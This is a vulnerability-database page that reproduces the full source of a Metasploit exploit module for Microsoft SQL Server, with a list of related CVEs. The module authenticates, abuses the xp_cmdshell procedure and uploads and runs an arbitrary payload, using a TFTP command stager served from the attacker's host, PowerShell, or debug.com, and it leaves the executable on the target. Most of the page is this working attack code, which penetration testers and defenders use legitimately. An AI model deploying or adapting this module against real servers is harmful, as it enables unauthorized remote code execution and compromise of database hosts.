, jduck ">
Lucene search
K

Microsoft SQL Server Payload Execution

🗓️ 21 Feb 2012 01:40:50Reported by David Kennedy "ReL1K" <[email protected]>, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 85 Views

Microsoft SQL Server Payload Execution. Executes arbitrary payload using "xp_cmdshell" stored procedure. Original method uses 'debug.com' with debug bypass. Second method utilizes Command Stager subsystem. ReL1K's latest method uses PowerShell to transmit payload

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2000-1209
12 Aug 200204:00
attackerkb
ATTACKERKB
CVE-2000-0402
30 May 200004:00
attackerkb
Circl
CVE-2000-0402
21 Dec 201000:00
circl
Circl
CVE-2000-1209
21 Dec 201000:00
circl
Check Point Advisories
MS-SQL Server Protocol - General Settings (CAN-2000-1209; CVE-2002-1123)
1 Feb 200500:00
checkpoint_advisories
CVE
CVE-2000-0402
12 Jul 200004:00
cve
CVE
CVE-2000-1209
10 Aug 200204:00
cve
Cvelist
CVE-2000-0402
12 Jul 200004:00
cvelist
Cvelist
CVE-2000-1209
10 Aug 200204:00
cvelist
Exploit DB
Microsoft SQL Server 2000 - User Authentication Remote Buffer Overflow
6 Aug 200200:00
exploitdb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL
  include Msf::Exploit::CmdStager
  include Msf::OptionalSession::MSSQL
  #include Msf::Exploit::CmdStagerDebugAsm
  #include Msf::Exploit::CmdStagerDebugWrite
  #include Msf::Exploit::CmdStagerTFTP

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server Payload Execution',
      'Description'    => %q{
          This module executes an arbitrary payload on a Microsoft SQL Server by using
        the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.

        First, the original method uses Windows 'debug.com'. File size restrictions are
        avoided by incorporating the debug bypass method presented by SecureStat at
        Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.

        A second method takes advantage of the Command Stager subsystem. This allows using
        various techniques, such as using a TFTP server, to send the executable. By default
        the Command Stager uses 'wcsript.exe' to generate the executable on the target.

        Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
        payload on the target.

        NOTE: This module will leave a payload executable on the target system when the
        attack is finished.
      },
      'Author'         =>
        [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',  # original module, debug.exe method, powershell method
          'jduck'  # command stager mods
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          # 'sa' password in logs
          [ 'CVE', '2000-0402' ],
          [ 'OSVDB', '557' ],
          [ 'BID', '1281' ],

          # blank default 'sa' password
          [ 'CVE', '2000-1209' ],
          [ 'OSVDB', '15757' ],
          [ 'BID', '4797' ]
        ],
      'Platform'       => 'win',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2000-05-30'
      ))
    register_options(
      [
        OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
      ])
  end

  def check
    if session
      set_mssql_session(session.client)
    end

    unless session || mssql_login_datastore
      vprint_status("Invalid SQL Server credentials")
      return Exploit::CheckCode::Detected
    end

    mssql_query("select @@version", true)
    if mssql_is_sysadmin
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  ensure
    disconnect
  end

  # This is method required for the CmdStager to work...
  def execute_command(cmd, opts)
    mssql_xpcmdshell(cmd, datastore['VERBOSE'])
  end

  def exploit
    if session
      set_mssql_session(session.client)
    else
      unless mssql_login_datastore
        print_status("Invalid SQL Server credentials")
        return
      end
    end

    method = datastore['METHOD'].downcase

    if (method =~ /^cmd/)
      tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
      execute_cmdstager({ linemax: 1500, tftphost: tftphost, nodelete: true })
    else
      # Generate the EXE, this is the same no matter what delivery mechanism we use
      exe = generate_payload_exe

      # Use powershell method for payload delivery if specified
      if (method =~ /^ps/) or (method =~ /^power/)
        powershell_upload_exec(exe)
      else
        # Otherwise, fall back to the old way..
        mssql_upload_exec(exe, datastore['VERBOSE'])
      end
    end

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation